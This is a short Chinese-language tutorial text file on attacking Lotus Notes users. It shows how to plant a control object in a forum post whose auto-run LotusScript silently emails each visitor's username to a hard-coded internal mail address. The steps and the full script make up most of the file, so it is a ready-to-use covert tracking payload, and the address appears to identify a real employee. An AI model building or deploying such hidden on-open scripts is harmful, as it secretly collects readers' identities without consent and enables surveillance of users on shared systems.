how to fuck any lotus.txt

如何通过Lotus攻击

使用下面的方法，无论那个帅哥靓女访问了你的帖子，系统将自动给你发一封邮件，告诉你他/她的名字。

A）原创，请勿转载。
B）请勿在代码段恶意发挥.


1)建立新的帖子
2)点击菜单"创建"下的"对象"
3)选择"控件"和任意对象如"ActiveXPlugin Object"。(最好选个小控件)
4)点击菜单"小程序"上，然后获得"属性"，然后选择"当读取文档时启动对象"
5)然后选择"编辑事件和属性"，事件对话框打开连接对象。
6)在"Initialize"段中增加如下代码.Termination段中也应该可以。
   Sub Initialize 
	Dim session As New notessession
	Dim workspace As New notesuiworkspace
	Dim document As notesdocument
	Dim attach As Variant
	Dim taskId As Integer
	Dim db As NotesDatabase
	Dim doc As NotesDocument
	Dim mailBody As NotesRichtextItem
	Dim attachment As NotesEmbeddedObject
	Set document =  workspace.currentdocument.Document
	Set db = session.CurrentDatabase
	Set doc = New NotesDocument( db )
	doc.SendTo = "岳大炯cd0078/ContractUser/zte_ltd@zte_ltd"
	doc.Subject = "Visotor"
	Set mailBody=doc.Createrichtextitem("Body")
	Call mailBody.AppendText(session.UserName)
	Call doc.Send( False )
   End Sub 
7)发帖就可以了.